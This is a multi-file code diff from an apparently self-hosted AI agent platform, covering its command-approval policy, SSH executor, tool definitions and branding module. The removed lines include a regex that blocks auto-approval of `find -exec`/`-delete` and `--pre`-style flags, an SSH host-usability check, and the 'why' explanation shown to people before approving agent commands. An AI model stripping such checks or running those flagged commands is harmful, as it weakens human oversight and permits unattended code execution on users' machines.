# was arbitrary write and arbitrary execution wearing a read-only name.
|
||||
#
|
||||
# Refused here rather than trimmed from the allow list alone, because the list
|
||||
# is the thing an administrator edits and "this one looks read-only" is exactly
|
||||
# the reasoning that put `find *` there. A pattern cannot express "and no
|
||||
# dangerous flags"; this can.
|
||||
#
|
||||
# Matched on the *normalised* line and word-bounded, so `docs/-exec-notes.md`
|
||||
# is fine -- the flag has to stand alone as an argument.
|
||||
#
|
||||
# It does catch `grep -rn -- -delete src/`, where the word is a search term
|
||||
# rather than a flag, and that is the right direction to be wrong in: a false
|
||||
# refusal here means the call falls through to the policy table and asks, which
|
||||
# costs one approval card. A false allow means an unattended helper writing
|
||||
# files. Nothing is *blocked* by this -- a reader in Auto still gets it, and in
|
||||
# any other mode they are shown it first, which is what they would want to be
|
||||
# shown.
|
||||
_ACTION = re.compile(
|
||||
r"(?:^|\s)-(?:exec|execdir|ok|okdir|fprintf|fprint|fprint0|delete)(?=\s|$)"
|
||||
r"|(?:^|\s)--(?:pre|search-zip|hostname-bin)(?=[\s=]|$)"
|
||||
)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Decision:
|
||||
@@ -193,8 +144,6 @@ def subject(tool_name: str, command: str = "") -> str | None:
|
||||
if _UNSAFE.search(raw):
|
||||
return None
|
||||
line = " ".join(raw.split())
|
||||
if _ACTION.search(line):
|
||||
return None
|
||||
return line or None
|
||||
|
||||
|
||||
@@ -228,10 +177,6 @@ def decide(
|
||||
3. An allow-list hit runs it.
|
||||
4. Otherwise the table.
|
||||
|
||||
A command line carrying a shell metacharacter matches neither list, so it
|
||||
reaches the table and Auto runs it. See the note above `_UNSAFE` for what
|
||||
that trades away and why.
|
||||
|
||||
An unrecognised mode is treated as Manual, not Auto: a row that predates a
|
||||
rename has to fail towards asking.
|
||||
"""
|
||||
|
||||
@@ -21,7 +21,7 @@ from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import KIND_AGENT, Chat, SshProfile, User
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import hosts, policy
|
||||
from lembas.services.agent import policy
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent.base import Executor
|
||||
from lembas.services.agent.policy import Limits
|
||||
@@ -146,86 +146,9 @@ def profile_for(db: DBSession, chat: Chat, user: User | None) -> SshProfile | No
|
||||
return None
|
||||
if user is not None and profile.owner_id != user.id:
|
||||
return None
|
||||
# A row can predate a setting, so this is asked here rather than trusted
|
||||
# from when the profile was saved: an administrator moving the switch to
|
||||
# `off` has to stop the chats already pointed at loopback, not only the next
|
||||
# one somebody tries to create. See services/agent/hosts.py.
|
||||
if not hosts.usable(db, profile):
|
||||
return None
|
||||
return profile
|
||||
|
||||
|
||||
def _allow_for(chat: Chat) -> tuple[str, ...]:
|
||||
"""Imported inside `resolve` rather than at module scope.
|
||||
|
||||
`services/tools.py` imports this module's `resolve`, so a top-level import
|
||||
back the other way is a cycle.
|
||||
"""
|
||||
from lembas.services import tools as tools_service
|
||||
|
||||
return tools_service.scoped_allow(chat)
|
||||
|
||||
|
||||
def refresh(db: DBSession, agent: AgentContext) -> AgentContext:
|
||||
"""Re-read the two things a person can change while a reply is running.
|
||||
|
||||
The mode and the chat's own allow list, and nothing else. Everything else on
|
||||
the context is fixed for the life of a chat (the connection, the directory)
|
||||
or is an instance setting nobody is editing mid-reply.
|
||||
|
||||
Called once per round rather than once per reply. The reply-long snapshot it
|
||||
replaces made both controls do nothing until the next turn: switching to
|
||||
Auto during a long agent reply went on asking about every call, and
|
||||
"Always allow this" was accepted, written to the row, and then ignored for
|
||||
the rest of the reply that had just asked. Both look exactly like a control
|
||||
that does not work, because for that reply they were.
|
||||
|
||||
Once per *round* and not more often, because a round's calls are authorised
|
||||
together: what is already queued was decided under the mode that was in
|
||||
force when it was queued, and switching to Auto must not retroactively
|
||||
approve it. Mutated in place -- `as_approved` copies field references, so a
|
||||
replacement here would leave the approved copy of this round pointing at the
|
||||
old one.
|
||||
"""
|
||||
chat = db.get(Chat, agent.chat_id)
|
||||
if chat is None:
|
||||
return agent
|
||||
|
||||
agent.mode = chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL
|
||||
instance = settings_store.agents(db)
|
||||
agent.allow = (*(instance.get("allow_default") or ()), *_allow_for(chat))
|
||||
return agent
|
||||
|
||||
|
||||
def _limits_for(db: DBSession, chat: Chat, values: dict[str, Any]) -> Limits:
|
||||
"""What this chat's replies may spend.
|
||||
|
||||
A helper's chat is sized by its own settings rather than the instance's,
|
||||
because a reply answering one delegated question is not the same shape of
|
||||
work as the reply that asked it: it should run out of room long before its
|
||||
parent does, and an agent chat's own numbers are deliberately generous
|
||||
enough to run for a quarter of an hour. `output_bytes` is shared, being a
|
||||
property of what a command can hand back rather than of who asked.
|
||||
|
||||
`or 0` is avoided on the completion ceiling in both branches: zero is how an
|
||||
administrator says "no ceiling", and the accessors have already clamped it.
|
||||
"""
|
||||
if chat.parent_chat_id:
|
||||
sub = settings_store.subagents(db)
|
||||
return Limits(
|
||||
steps=int(sub["max_rounds"]),
|
||||
wall_seconds=float(sub["wall_seconds"]),
|
||||
output_bytes=int(values.get("max_total_output_bytes") or 1024 * 1024),
|
||||
completion_tokens=int(sub.get("max_completion_tokens", 60_000) or 0),
|
||||
)
|
||||
return Limits(
|
||||
steps=int(values.get("max_steps") or 200),
|
||||
wall_seconds=float(values.get("max_wall_seconds") or 900),
|
||||
output_bytes=int(values.get("max_total_output_bytes") or 1024 * 1024),
|
||||
completion_tokens=int(values.get("max_completion_tokens", 200_000) or 0),
|
||||
)
|
||||
|
||||
|
||||
def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None:
|
||||
"""This chat's agent setup, or None if it has none it can use.
|
||||
|
||||
@@ -256,13 +179,16 @@ def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None
|
||||
project_dir=chat.project_dir or profile.default_dir or "",
|
||||
profile_id=profile.id,
|
||||
mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL,
|
||||
# The instance's list, plus whatever this chat's reader has said
|
||||
# "always" to on a card. Never the other way round for the deny list:
|
||||
# a chat cannot un-deny anything, and `decide` consults deny first
|
||||
# regardless.
|
||||
allow=(*(values.get("allow_default") or ()), *_allow_for(chat)),
|
||||
allow=tuple(values.get("allow_default") or ()),
|
||||
deny=tuple(values.get("deny_default") or ()),
|
||||
limits=_limits_for(db, chat, values),
|
||||
limits=Limits(
|
||||
steps=int(values.get("max_steps") or 200),
|
||||
wall_seconds=float(values.get("max_wall_seconds") or 900),
|
||||
output_bytes=int(values.get("max_total_output_bytes") or 1024 * 1024),
|
||||
# `or 0` would turn a deliberate 0 into the default, and 0 is how an
|
||||
# administrator says "no ceiling". `agents()` has already clamped it.
|
||||
completion_tokens=int(values.get("max_completion_tokens", 200_000) or 0),
|
||||
),
|
||||
timeout=float(values.get("default_timeout") or 60),
|
||||
max_timeout=float(values.get("max_timeout") or 600),
|
||||
max_output=int(values.get("max_output_bytes") or 64 * 1024),
|
||||
|
||||
@@ -26,21 +26,17 @@ forgot to install it gets a sentence rather than an ImportError at startup.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import logging
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
from lembas.db.models import AUTH_PASSWORD, SshProfile
|
||||
from lembas.services.agent.base import (
|
||||
Conflict,
|
||||
ExecError,
|
||||
ExecRequest,
|
||||
ExecResult,
|
||||
RemoteEntry,
|
||||
RemoteFile,
|
||||
clean_output,
|
||||
revision_of,
|
||||
)
|
||||
from lembas.services.crypto import decrypt
|
||||
|
||||
@@ -288,111 +284,6 @@ class SshExecutor:
|
||||
raise self._wrap(exc) from exc
|
||||
return len(payload)
|
||||
|
||||
# --- The same files, for somebody about to edit them ---------------------
|
||||
# Deliberately not `read_file`/`write_file`, and those two are deliberately
|
||||
# left exactly as they are: what they return is a contract a model has been
|
||||
# shown, and it is the right contract for a model.
|
||||
#
|
||||
# It is the wrong one for an editor. `read_file` ends in `clean_output`,
|
||||
# which strips ANSI escape sequences and decodes with errors="replace" --
|
||||
# correct for the output of a command, and for a file it means that opening
|
||||
# one containing an escape byte and pressing Save rewrites it with the
|
||||
# escapes gone and every undecodable byte replaced by U+FFFD. `write_file`
|
||||
# truncates at MAX_WRITE_BYTES, which a model is told about and a person
|
||||
# pressing Save is not.
|
||||
async def read_text(self, path: str, *, max_bytes: int = MAX_READ_BYTES) -> RemoteFile:
|
||||
"""A file as somebody is about to edit it.
|
||||
|
||||
Strict decoding, so a file this cannot represent faithfully is reported
|
||||
as binary rather than silently mangled into something that would be
|
||||
saved back. The stat and the read share one connection: connections are
|
||||
per call, so doing it in two is two handshakes and two authentications
|
||||
to open one file.
|
||||
"""
|
||||
import asyncssh
|
||||
|
||||
try:
|
||||
async with (
|
||||
self._connect() as conn,
|
||||
conn.start_sftp_client() as sftp,
|
||||
sftp.open(self._resolve(path), "rb") as handle,
|
||||
):
|
||||
attrs = await handle.stat()
|
||||
data = await handle.read(max_bytes + 1)
|
||||
except asyncssh.SFTPNoSuchFile as exc:
|
||||
raise ExecError(f"There is no file at {path}.") from exc
|
||||
except asyncssh.SFTPPermissionDenied as exc:
|
||||
raise ExecError(f"Not allowed to read {path}.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise self._wrap(exc) from exc
|
||||
|
||||
truncated = len(data) > max_bytes
|
||||
data = data[:max_bytes]
|
||||
size = int(getattr(attrs, "size", None) or len(data))
|
||||
mtime = int(getattr(attrs, "mtime", None) or 0)
|
||||
|
||||
# A NUL in the first few kilobytes, or anything that will not decode.
|
||||
# Either way there is nothing safe to put in a textarea.
|
||||
if b"\0" in data[:8192]:
|
||||
return RemoteFile("", size, mtime, truncated, binary=True)
|
||||
try:
|
||||
text = data.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return RemoteFile("", size, mtime, truncated, binary=True)
|
||||
return RemoteFile(text, size, mtime, truncated, binary=False)
|
||||
|
||||
async def write_text(self, path: str, text: str, *, if_unchanged: str = "") -> RemoteFile:
|
||||
"""Write a file, refusing if it moved under the editor.
|
||||
|
||||
`if_unchanged` is the token `read_text` handed out. The re-stat and the
|
||||
write happen on one connection, which is the narrowest window SFTP
|
||||
allows; there is no compare-and-swap here and this does not pretend to
|
||||
be atomic. It catches what it exists for -- another editor, a build, a
|
||||
checkout between opening a tab and pressing Save -- and not a race
|
||||
measured in milliseconds.
|
||||
|
||||
Oversize is refused rather than truncated. `write_file` truncates
|
||||
because a model is told how many bytes it wrote; somebody pressing Save
|
||||
would lose the tail of their file with nothing said.
|
||||
"""
|
||||
import asyncssh
|
||||
|
||||
payload = text.encode("utf-8")
|
||||
if len(payload) > MAX_WRITE_BYTES:
|
||||
raise ExecError(
|
||||
f"That is {len(payload) // 1024}KB and the limit is "
|
||||
f"{MAX_WRITE_BYTES // 1024}KB. Nothing was written."
|
||||
)
|
||||
|
||||
target = self._resolve(path)
|
||||
try:
|
||||
async with self._connect() as conn, conn.start_sftp_client() as sftp:
|
||||
if if_unchanged:
|
||||
current = ""
|
||||
with contextlib.suppress(asyncssh.SFTPNoSuchFile):
|
||||
attrs = await sftp.stat(target)
|
||||
current = revision_of(
|
||||
int(getattr(attrs, "mtime", None) or 0),
|
||||
int(getattr(attrs, "size", None) or 0),
|
||||
)
|
||||
if current and current != if_unchanged:
|
||||
raise Conflict(current)
|
||||
async with sftp.open(target, "wb") as handle:
|
||||
await handle.write(payload)
|
||||
attrs = await sftp.stat(target)
|
||||
except asyncssh.SFTPPermissionDenied as exc:
|
||||
raise ExecError(f"Not allowed to write {path}.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise self._wrap(exc) from exc
|
||||
|
||||
return RemoteFile(
|
||||
text,
|
||||
len(payload),
|
||||
int(getattr(attrs, "mtime", None) or 0),
|
||||
truncated=False,
|
||||
binary=False,
|
||||
)
|
||||
|
||||
async def list_dir(self, path: str = "") -> list[str]:
|
||||
import asyncssh
|
||||
|
||||
|
||||
@@ -620,30 +620,6 @@ async def close_chat(chat_id: str, reason: str = CLOSED_REVOKED) -> bool:
|
||||
return True
|
||||
|
||||
|
||||
def rekey(old: str, new: str) -> Session | None:
|
||||
"""Move a live session from one id to another, keeping the shell.
|
||||
|
||||
What adoption is made of: a shell opened on the new-chat screen under a
|
||||
draft id becomes the shell of the chat that screen turned into, with its
|
||||
scrollback and whatever is half-typed at its prompt. Nothing reconnects --
|
||||
the browser navigates after `start_chat` and attaches to the session now
|
||||
living under the real id, which is the "a reload is indistinguishable from a
|
||||
second tab" property working for us rather than against us.
|
||||
|
||||
**Both the key and the field.** `close_for_profile`, `close_for_owner` and
|
||||
the reaper all pop by `session.chat_id` rather than by the key they found it
|
||||
under, so a stale field would leave a closed session in the registry that
|
||||
`get` keeps handing out and `count_for` keeps counting.
|
||||
"""
|
||||
session = _SESSIONS.pop(old, None)
|
||||
if session is None:
|
||||
return None
|
||||
session.chat_id = new
|
||||
_SESSIONS[new] = session
|
||||
log.info("terminal adopted %s -> %s", old, new)
|
||||
return session
|
||||
|
||||
|
||||
async def close_for_profile(profile_id: str) -> int:
|
||||
"""End every shell opened on one connection.
|
||||
|
||||
|
||||
@@ -51,57 +51,6 @@ MAX_DIFF_LINES = 200
|
||||
|
||||
_STRING = {"type": "string"}
|
||||
|
||||
# What the model says it is doing, offered on everything that changes something
|
||||
# or that stops for approval. It is shown to the person -- above the command on
|
||||
# an approval card, and beside the call in the transcript when nothing stopped
|
||||
# for approval at all -- which is the only reason it exists: in Auto mode a
|
||||
# reader otherwise watches a list of commands with no account of what they are
|
||||
# for until the reply ends.
|
||||
#
|
||||
# Not on `file_read`, `file_list` or `file_search`. They are the hot path, their
|
||||
# detail says everything ("Read src/main.py"), and a schema property costs
|
||||
# tokens on every request whether or not it is filled in.
|
||||
_WHY = {
|
||||
**_STRING,
|
||||
"description": (
|
||||
"One short line saying what you are doing this for, in plain language. "
|
||||
"It is shown to the person — beside the command when they are asked to "
|
||||
"approve it, and in the transcript when they are not."
|
||||
),
|
||||
}
|
||||
|
||||
# One line, and short. It goes in a summary line beside the command, and it is
|
||||
# stored on the message row forever.
|
||||
MAX_WHY_CHARS = 240
|
||||
|
||||
|
||||
def why_of(args: dict[str, Any]) -> str:
|
||||
"""What the model said this call is for, as one short line."""
|
||||
return " ".join(str(args.get("why") or "").split())[:MAX_WHY_CHARS]
|
||||
|
||||
|
||||
def _explained(run):
|
||||
"""Wrap a runner so whatever it returns carries the model's explanation.
|
||||
|
||||
Applied at the `ToolDef`, next to the schema that declares `why`, so the two
|
||||
halves cannot drift apart -- a tool that offers the argument records it, and
|
||||
one that does not offer it never sees it.
|
||||
|
||||
A wrapper rather than a parameter threaded through, because `shell_run`
|
||||
alone builds its outcome in five places -- foreground, convertible,
|
||||
launched, backgrounded and the shared formatter -- and none of them has any
|
||||
other reason to know this exists. `ToolOutcome.event` is a plain mutable
|
||||
dict, so every path through a runner is covered by one line here.
|
||||
"""
|
||||
|
||||
async def wrapped(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
outcome = await run(context, args)
|
||||
if why := why_of(args):
|
||||
outcome.event["why"] = why
|
||||
return outcome
|
||||
|
||||
return wrapped
|
||||
|
||||
|
||||
def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]:
|
||||
"""One line in the transcript for one call.
|
||||
@@ -343,27 +292,6 @@ def _path_key(agent: AgentContext, path: str) -> str:
|
||||
return posixpath.normpath(path)
|
||||
|
||||
|
||||
def _canvas(agent: AgentContext, path: str) -> dict[str, str]:
|
||||
""""This file should be on screen."
|
||||
|
||||
Written onto the event because a runner cannot write the message row --
|
||||
`_persist` is the single writer -- so the generation loop carries it, in
|
||||
exactly the way it carries a merged plan.
|
||||
|
||||
The key comes from `_path_key`, the same normaliser the read-path set uses,
|
||||
so a tab a model opened and a tab a person opened are one tab rather than
|
||||
two spellings of the same file.
|
||||
|
||||
It never brings the tab to the front; see `canvas.open_tab`. This rides on
|
||||
calls the model was already making, so it costs no schema and no tokens.
|
||||
"""
|
||||
return {
|
||||
"key": f"agent:{_path_key(agent, path)}",
|
||||
"title": posixpath.basename(path) or path,
|
||||
"source": "agent",
|
||||
}
|
||||
|
||||
|
||||
def _forget_instructions(agent: AgentContext, path: str) -> None:
|
||||
"""Drop the cached AGENTS.md when the thing just written *is* it.
|
||||
|
||||
@@ -416,14 +344,7 @@ async def _run_read(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
|
||||
return ToolOutcome(
|
||||
text or "(the file is empty)",
|
||||
_event(
|
||||
"file_read",
|
||||
agent,
|
||||
path,
|
||||
status="ok",
|
||||
text=text[:MAX_EVENT_CHARS],
|
||||
canvas=_canvas(agent, path),
|
||||
),
|
||||
_event("file_read", agent, path, status="ok", text=text[:MAX_EVENT_CHARS]),
|
||||
)
|
||||
|
||||
|
||||
@@ -464,14 +385,7 @@ async def _run_write(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
index.forget_dir(agent.profile_id, agent.project_dir)
|
||||
_forget_instructions(agent, path)
|
||||
|
||||
event = _event(
|
||||
"file_write",
|
||||
agent,
|
||||
path,
|
||||
status="ok",
|
||||
text=f"{written} bytes",
|
||||
canvas=_canvas(agent, path),
|
||||
)
|
||||
event = _event("file_write", agent, path, status="ok", text=f"{written} bytes")
|
||||
if diffable and before != content:
|
||||
event["diff"] = patch.render(before, content, path, max_lines=MAX_DIFF_LINES)
|
||||
|
||||
@@ -511,36 +425,7 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
_event("file_edit", agent, path, status="error", error="No patch."),
|
||||
)
|
||||
|
||||
# Read here rather than through `_current`, which answers a different
|
||||
# question. `_current` exists for `file_write`, where a file that cannot be
|
||||
# read is a file about to be created and "" is the honest answer. Applying a
|
||||
# patch to that "" instead reported a context mismatch against
|
||||
# "(past the end of the file)" -- a model told the file is empty when it is
|
||||
# in fact unreadable retries the same patch, then rewrites the file whole,
|
||||
# which is how an unreadable file becomes a lost one.
|
||||
try:
|
||||
before = await agent.executor().read_file(path, max_bytes=agent.max_output)
|
||||
except ExecError as exc:
|
||||
return ToolOutcome(
|
||||
f"{exc.message} Nothing was written.",
|
||||
_event("file_edit", agent, path, status="error", error=exc.message),
|
||||
)
|
||||
|
||||
# And a file too big to read whole may not be patched at all. `read_file`
|
||||
# truncates at the ceiling, so `after` would be the beginning of the file
|
||||
# with the patch applied -- and `write_file` replaces, so writing it back is
|
||||
# how the rest of the file is deleted. Silently, and reported as a success
|
||||
# with a byte count. This is the same rule Canvas follows for the same
|
||||
# reason: a truncated read opens read-only.
|
||||
if len(before) >= agent.max_output:
|
||||
return ToolOutcome(
|
||||
f"{path} is too large to patch: only the first {agent.max_output} bytes "
|
||||
f"can be read, and writing back what was read would delete the rest. "
|
||||
f"Nothing was written. Change it with a command instead — sed, or a "
|
||||
f"short script.",
|
||||
_event("file_edit", agent, path, status="error", error="Too large to patch."),
|
||||
)
|
||||
|
||||
before, diffable = await _current(agent, path)
|
||||
try:
|
||||
after = patch.apply(before, patch.parse(raw))
|
||||
except patch.PatchError as exc:
|
||||
@@ -572,17 +457,8 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
# cares that it exists, that cache is a copy of what is in it.
|
||||
_forget_instructions(agent, path)
|
||||
|
||||
event = _event(
|
||||
"file_edit",
|
||||
agent,
|
||||
path,
|
||||
status="ok",
|
||||
text=f"{written} bytes",
|
||||
canvas=_canvas(agent, path),
|
||||
)
|
||||
# Always diffable here: an unreadable original and a truncated one have both
|
||||
# already been refused above, which is the whole difference between this and
|
||||
# `file_write`'s use of `_current`.
|
||||
event = _event("file_edit", agent, path, status="ok", text=f"{written} bytes")
|
||||
if diffable:
|
||||
event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
|
||||
|
||||
return ToolOutcome(f"Updated {path} ({written} bytes).", event)
|
||||
@@ -839,7 +715,6 @@ def _no_machine(name: str) -> ToolOutcome:
|
||||
def _shell_parameters(background_on: bool) -> dict[str, Any]:
|
||||
properties: dict[str, Any] = {
|
||||
"command": {**_STRING, "description": "The command line to run."},
|
||||
"why": _WHY,
|
||||
"cwd": {**_STRING, "description": "Where to run it. Defaults to the project directory."},
|
||||
"timeout": {
|
||||
"type": "number",
|
||||
@@ -883,7 +758,7 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
"non-interactive rather than waiting for it to ask."
|
||||
),
|
||||
parameters=_shell_parameters(bool(context and context.background)),
|
||||
run=_explained(_run_shell),
|
||||
run=_run_shell,
|
||||
risk=RISK_EXECUTE,
|
||||
),
|
||||
ToolDef(
|
||||
@@ -918,11 +793,10 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
"properties": {
|
||||
"path": {**_STRING, "description": "The file to write."},
|
||||
"content": {**_STRING, "description": "Its whole new contents."},
|
||||
"why": _WHY,
|
||||
},
|
||||
"required": ["path", "content"],
|
||||
},
|
||||
run=_explained(_run_write),
|
||||
run=_run_write,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
@@ -949,11 +823,10 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
**_STRING,
|
||||
"description": "The unified diff to apply.",
|
||||
},
|
||||
"why": _WHY,
|
||||
},
|
||||
"required": ["path", "patch"],
|
||||
},
|
||||
run=_explained(_run_edit),
|
||||
run=_run_edit,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
@@ -1046,23 +919,14 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
name="plan_update",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"Keep the plan current while you carry it out. The plan is what "
|
||||
"somebody reads to see where you are, so it has to be updated as "
|
||||
"you go and not written up at the end.\n"
|
||||
"Keep the plan current while you carry it out. Call it when a "
|
||||
"task finishes, when something you find changes what needs doing, "
|
||||
"and when a task turns out to be unnecessary — as you go, not at "
|
||||
"the end. The plan is what somebody reads to see where you are.\n"
|
||||
"\n"
|
||||
"Mark a task 'doing' when you start it and 'done' when you have "
|
||||
"checked it actually works — not when you have written the code "
|
||||
"for it. Use 'dropped' for a task that turned out to be "
|
||||
"unnecessary, and say why in its note. Add tasks the plan did "
|
||||
"not anticipate as you discover them.\n"
|
||||
"\n"
|
||||
"One call carries as many changes as you like: finishing one "
|
||||
"task and starting the next is a single call, not two. Use the "
|
||||
"ids exactly as they appear in the plan above — tasks are t1, "
|
||||
"t2 and so on, objectives o1, phases p1.\n"
|
||||
"\n"
|
||||
"This does not end your turn and is not a progress report to "
|
||||
"stop after. Carry straight on with the work."
|
||||
"Quote the ids from the plan in your prompt: tasks are t1, t2 and "
|
||||
"so on, objectives are o1. This does not end your turn; carry on "
|
||||
"with the work afterwards."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
@@ -1163,13 +1027,10 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
description="Stop a background job, killing it and everything it started.",
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {**_STRING, "description": "The job id."},
|
||||
"why": _WHY,
|
||||
},
|
||||
"properties": {"id": {**_STRING, "description": "The job id."}},
|
||||
"required": ["id"],
|
||||
},
|
||||
run=_explained(_run_job_stop),
|
||||
run=_run_job_stop,
|
||||
# It terminates a process on the machine, so it goes through the mode
|
||||
# table exactly as shell_run does.
|
||||
risk=RISK_EXECUTE,
|
||||
@@ -1192,11 +1053,4 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
return [tool for tool in defs if tool.name not in drop]
|
||||
|
||||
|
||||
__all__ = [
|
||||
"FAMILY_AGENT",
|
||||
"MAX_DIFF_LINES",
|
||||
"MAX_EVENT_CHARS",
|
||||
"MAX_WHY_CHARS",
|
||||
"tool_defs",
|
||||
"why_of",
|
||||
]
|
||||
__all__ = ["FAMILY_AGENT", "MAX_DIFF_LINES", "MAX_EVENT_CHARS", "tool_defs"]
|
||||
|
||||
@@ -1,506 +0,0 @@
|
||||
"""What this installation is called, and what it looks like.
|
||||
|
||||
An instance can be somebody else's. That means four separate things, and they
|
||||
are separate because they fail differently:
|
||||
|
||||
- an **identity** — a name, a tagline, a logo, a favicon, the icons a launcher
|
||||
shows;
|
||||
- **flavour text** — the Middle-earth lines, which live in the artwork, the
|
||||
empty states, the loading lines and the error pages and nowhere else (see the
|
||||
flavour rule in CLAUDE.md), and which somebody rebranding needs to be able to
|
||||
replace without editing templates;
|
||||
- **themes**, which are token sets rather than stylesheets, because the
|
||||
invariant that no component hard-codes a colour is what makes a third one
|
||||
compose at all;
|
||||
- **arbitrary CSS**, for the things the first three do not reach.
|
||||
|
||||
## Defaults in code, overrides in the database
|
||||
|
||||
The prompt-fragment rule, applied again and for the same reason: text equal to
|
||||
its default is never stored, so a later release improving a default still
|
||||
reaches an instance whose administrator once pressed Save. `stored_only` is what
|
||||
enforces it, and every save goes through it.
|
||||
|
||||
## Why a snapshot, and why a Jinja global
|
||||
|
||||
`web/templating.py:render()` has no database session, and the login page, the
|
||||
error pages, the offline page and the SSE path do not go through it at all. A
|
||||
context value would therefore have to be threaded through every one of those,
|
||||
and the ones that bypass `render()` could not be reached at all.
|
||||
|
||||
So this is a **process-level cache** behind a lazy proxy registered as a Jinja
|
||||
global. One query per process, and after every save; every render path gets it
|
||||
including the ones that never see a `Request`. `forget()` is called by the admin
|
||||
page and by nothing else.
|
||||
|
||||
The cost of being a cache is stated rather than discovered: with several
|
||||
workers, a save in one is not seen by the others until each next reads. That is
|
||||
already true of this application for other reasons -- see the "one worker" note
|
||||
in PLAN.md -- and this does not make it worse.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import logging
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
from lembas.services import settings_store
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
BRANDING = settings_store.BRANDING
|
||||
|
||||
DEFAULT_NAME = "LLeMbas"
|
||||
|
||||
# --- Flavour ------------------------------------------------------------------
|
||||
# Every Middle-earth string in the interface, with its current wording as the
|
||||
# default. Keyed rather than positional so a template names what it wants, and
|
||||
# a key nobody has overridden costs nothing to store.
|
||||
#
|
||||
# The label is what the admin page calls the field; the hint says where it is
|
||||
# seen, because a string with no context is one nobody can safely rewrite.
|
||||
FLAVOUR: dict[str, tuple[str, str, str]] = {
|
||||
"login_tagline": (
|
||||
"Under the sign-in mark",
|
||||
"The one line on the sign-in page, beneath the name.",
|
||||
"Waybread for the long road of thought.",
|
||||
),
|
||||
"chat_empty": (
|
||||
"Empty chat",
|
||||
"Above the composer on a chat with nothing in it yet.",
|
||||
"Speak, friend, and enter.",
|
||||
),
|
||||
"offline_title": (
|
||||
"Offline heading",
|
||||
"The page the service worker shows when the server cannot be reached.",
|
||||
"No road from here",
|
||||
),
|
||||
"offline_line": (
|
||||
"Offline line",
|
||||
"Beneath that heading. The sentence below it is functional and is not "
|
||||
"editable here.",
|
||||
"The Road goes ever on and on — but not without a connection.",
|
||||
),
|
||||
"error_403": (
|
||||
"403 — not yours",
|
||||
"Shown on a page somebody is not allowed to see.",
|
||||
"Speak, friend, and enter. This door is not yours to open.",
|
||||
),
|
||||
"error_404": (
|
||||
"404 — not found",
|
||||
"Shown on a page that does not exist.",
|
||||
"Not all those who wander are lost. This page, however, is.",
|
||||
),
|
||||
"error_500": (
|
||||
"500 — something broke",
|
||||
"Shown when something went wrong on the server.",
|
||||
"The Road goes ever on, but this stretch of it has washed out.",
|
||||
),
|
||||
"theme_moria": (
|
||||
"Dark theme name",
|
||||
"What the built-in dark theme is called, in the settings screen and in "
|
||||
"the /theme command.",
|
||||
"Moria",
|
||||
),
|
||||
"theme_shire": (
|
||||
"Light theme name",
|
||||
"What the built-in light theme is called.",
|
||||
"Shire",
|
||||
),
|
||||
}
|
||||
|
||||
# --- Themes -------------------------------------------------------------------
|
||||
# The two built-ins. `css` is empty for both: their tokens are declared in
|
||||
# tokens.css, which is the one place colours live, and duplicating them here so
|
||||
# that a custom theme could "inherit" would be exactly the second copy that
|
||||
# rule exists to prevent. A custom theme inherits by naming a base instead --
|
||||
# see `theme_css` below.
|
||||
SCHEME_DARK = "dark"
|
||||
SCHEME_LIGHT = "light"
|
||||
|
||||
BUILT_IN = (
|
||||
("moria", SCHEME_DARK, "#101317"),
|
||||
("shire", SCHEME_LIGHT, "#F6F1E4"),
|
||||
)
|
||||
|
||||
# What a custom theme may set. A curated handful rather than every token a
|
||||
# theme block declares: sixty colour pickers is not a feature, and everything
|
||||
# left out inherits from the base, which is what makes a theme that changes
|
||||
# four things four things long.
|
||||
#
|
||||
# `--accent-soft`, `--leaf-soft` and `--danger-soft` are deliberately absent and
|
||||
# are derived instead: they are the same colour at 14% and an administrator who
|
||||
# changed the accent without them would get focus rings in the old hue, which
|
||||
# looks like the setting half-working.
|
||||
THEME_TOKENS: tuple[tuple[str, str], ...] = (
|
||||
("bg", "Page background"),
|
||||
("bg-sunken", "Behind the page — the sidebar and panel gutters"),
|
||||
("surface", "Cards, menus and the composer"),
|
||||
("surface-raised", "Anything sitting on a surface"),
|
||||
("surface-hover", "A surface under the pointer"),
|
||||
("border", "Ordinary borders"),
|
||||
("border-strong", "Borders that have to be seen"),
|
||||
("ink", "Body text"),
|
||||
("ink-muted", "Secondary text"),
|
||||
